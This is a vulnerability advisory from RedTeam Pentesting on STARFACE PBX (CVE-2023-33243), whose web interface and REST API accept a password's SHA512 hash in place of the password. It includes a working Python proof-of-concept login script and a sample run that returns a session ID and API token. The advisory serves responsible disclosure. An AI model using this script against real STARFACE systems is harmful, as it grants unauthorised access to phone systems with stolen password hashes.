RedTeam Pentesting GmbH

STARFACE: Authentication with Password Hash Possible

RedTeam Pentesting discovered that the web interface of STARFACE as well as its REST API allows authentication using the SHA512 hash of the password instead of the cleartext password. While storing password hashes instead of cleartext passwords in an application’s database generally has become best practice to protect users’ passwords in case of a database compromise, this is rendered ineffective when allowing to authenticate using the password hash.

Details

Product: STARFACE
Affected Versions: 7.3.0.10 and earlier versions
Fixed Versions: -
Vulnerability Type: Broken Authentication
Security Risk: low
Vendor URL: https://www.starface.de
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2022-004
Advisory Status: published
CVE: CVE-2023-33243
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33243

Introduction

“When functionality and comfort come together, the result is a state-of-the-art experience that we’ve dubbed ‘comfortphoning’. It’s a secure, scalable digital communication solution that meets every need and wish. STARFACE is easy to integrate into existing IT systems and flexibly grows with your requirements.”

(from the vendor’s homepage)

More Details

The image of STARFACE PBX (https://starface.com/en/products/comfortphoning/) in version 7.3.0.10 can be downloaded from the vendor’s homepage (https://knowledge.starface.de/pages/viewpage.action?pageId=46564694). The included files can be further examined by either extracting the contents or running the image in a virtual machine. The web interface of the PBX uses the JavaScript file at the following path to submit the login form:

js/prettifier.js

The following two lines of the JavaScript file “prettifier.js” add the two parameters “secret” and “ack” to the form before being submitted:

$form(document.forms[0]).add('secret', createHash(defaultVals.isAd, liv, lpv, defaultVals.k + defaultVals.bk));
$form(document.forms[0]).add('ack', defaultVals.k);

The JavaScript object “defaultVals” is included in the web application’s source text. While the value of “defaultVals.k” was found to be the static hash of the PBX version, the value of “defaultVals.bk” contains a nonce only valid for the currently used session. Therefore, the form parameter “ack” is always the same value. For the form value “secret” the function “createHash()” is called with different arguments. The value of “defaultVals.isAd” is set to “false” when login via Active Directory is disabled. The parameters “liv” and “lpv” contain the username and password entered into the form respectively.

const createHash = function (isAD, user, pass, nonces) {
    if (isAD) {
        return forAD.encode(user + nonces + pass);
    }
    return user + ':' + forSF(user + nonces + forSF(pass));
};

The expression right after the second return statement is the implementation used when Active Directory login is disabled which is the default setting. The return value is composed of the username separated via a colon from a value built using the “forSF()” function. The “forSF()” function was found to calculate the SHA512 hash value. When considering the arguments passed to the function, the hash is calculated as follows:

SHA512(username + defaultVals.k + defaultVals.bk + SHA512(password))

As can be seen, instead of the cleartext password the SHA512 hash of the password is used in the calculation. In conclusion, for the form value “secret” the following value is transmitted:

username + ":" + SHA512(
  username + defaultVals.k + defaultVals.bk + SHA512(password)
)

If the SHA512 hash of a user’s password is known, it can be directly used in the calculation of the “secret” during the login process. Knowledge of the cleartext password is not required.

This finding was also verified by analysing the decompiled Java code of the server component. It was also found that the authentication process of the REST API is vulnerable in a very similar manner.

Proof of Concept

The following Python script can be used to perform a login by specifying a target URL, a username and the associated password hash:

#!/usr/bin/env python3

import click
import hashlib
import re
import requests
import typing


def get_values_from_session(url, session) -> typing.Tuple[str, str]:
    k, bk = "", ""
    response_content = session.get(f"{url}/jsp/index.jsp").text
    k_result = re.search("\sk : '([^']+)'", response_content)
    bk_result = re.search("\sbk : '([^']+)'", response_content)
    if k_result != None:
        k = k_result.group(1)
    if bk_result != None:
        bk = bk_result.group(1)
    return k, bk


def web_login(url, login, pwhash, session) -> bool:
    version, nonce = get_values_from_session(url, session)
    if version == "" or nonce == "":
        print("Web Login failed: Nonce and version hash can not be retrieved.")
        return
    value = login + version + nonce + pwhash
    secret = hashlib.sha512(value.encode("utf-8")).hexdigest()
    data = {
        "forward": "",
        "autologin": "false",
        "secret": f"{login}:{secret}",
        "ack": version,
    }
    login_request = session.post(
        f"{url}/login",
        data=data,
        allow_redirects=False,
        headers={"Referer": f"{url}/jsp/index.jsp"},
    )
    response_headers = login_request.headers
    if "Set-Cookie" in response_headers:
        session_id = response_headers["Set-Cookie"].split("=")[1].split(";")[0]
        print(f"Session ID: {session_id}")
        return True
    else:
        print("Invalid login data")
        return False


def get_nonce_from_api(url, session) -> str:
    response_content = session.get(f"{url}/rest/login").json()
    return response_content["nonce"] if "nonce" in response_content else ""


def rest_login(url, login, pwhash, session):
    nonce = get_nonce_from_api(url, session)
    if nonce == "":
        print("REST Login failed: Nonce can not be retrieved.")
        return
    value = login + nonce + pwhash
    secret = hashlib.sha512(value.encode("utf-8")).hexdigest()
    data = {"loginType": "Internal", "nonce": nonce, "secret": f"{login}:{secret}"}
    login_request = session.post(
        f"{url}/rest/login",
        json=data,
        headers={"Content-Type": "application/json", "X-Version": "2"},
    )
    response_data = login_request.json()
    token = response_data["token"] if "token" in response_data else "none"
    print(f"REST API Token: {token}")


@click.command()
@click.option('--url', help='Target System URL', required=True)
@click.option('--login', help='Login ID', required=True)
@click.option('--pwhash', help='Password Hash', required=True)
def login(url, login, pwhash):
    session = requests.session()
    stripped_url = url.rstrip("/")
    result = web_login(stripped_url, login, pwhash, session)
    if result:
        rest_login(stripped_url, login, pwhash, session)


if __name__ == "__main__":
    login()

For example, the SHA512 hash of the password “starface” can be calculated as follows:

$ echo -n "starface" | sha512sum
a37542915e834f6e446137d759cdcb825a054d0baab73fd8db695fc49529bc8e52eb27979dd1dcc21849567bac74180f6511121f76f4a2a1f196670b7375f8ec -

The Python script can be run as follows to perform a login as the user “0001” with the aforementioned hash:

$ python3 login.py --url 'https://www.example.com' --login 0001 --pwhash
'a37542915e834f6e446137d759cdcb825a054d0baab73fd8db695fc49529bc8e52eb27979dd1dcc21849567bac74180f6511121f76f4a2a1f196670b7375f8ec'
Session ID: 2CF09656E274F000FFAD023AF37629CE
REST API Token: 51eef8f8vp3d3u81k0imjbuuu7

When the password hash is valid for the specified user of the targeted instance a session ID as well as a REST API token is returned. Afterwards, these values can be used to interact with the web application and the REST API.

Workaround

None

Fix

On 4 May 2023, version 8.0.0.11 was released. In this version the vulnerability was addressed with a temporary solution, such that the password hashes are encrypted before they are saved in the database. This approach prevents attackers from exploiting this vulnerability in scenarios where they have only acquired pure database access. However, attackers with system level access can bypass this temporary measure as they can extract the encryption key and decrypt the hashes in the database. A solution that fixes this vulnerability entirely is still in progress.

Security Risk

The web interface and REST API of STARFACE allow to login using the password hash instead of the cleartext password. This can be exploited by attackers who gained access to the application’s database where the passwords are also saved as a SHA512 hash of the cleartext passwords. While the precondition for this attack could be the full compromise of the STARFACE PBX, another attack scenario could be that attackers acquire access to backups of the database stored on another system. Furthermore, the login via password hash allows attackers for permanent unauthorised access to the web interface even if system access was obtained only temporarily. Due to the prerequisites of obtaining access to password hashes, the vulnerability poses a low risk only.

Timeline

2022-12-06 Vulnerability identified
2022-12-13 Customer approved disclosure to vendor
2023-01-11 Vendor notified
2023-05-04 Vendor released new version 8.0.0.11
2023-05-19 CVE ID requested
2023-05-20 CVE ID assigned
2023-06-01 Advisory released

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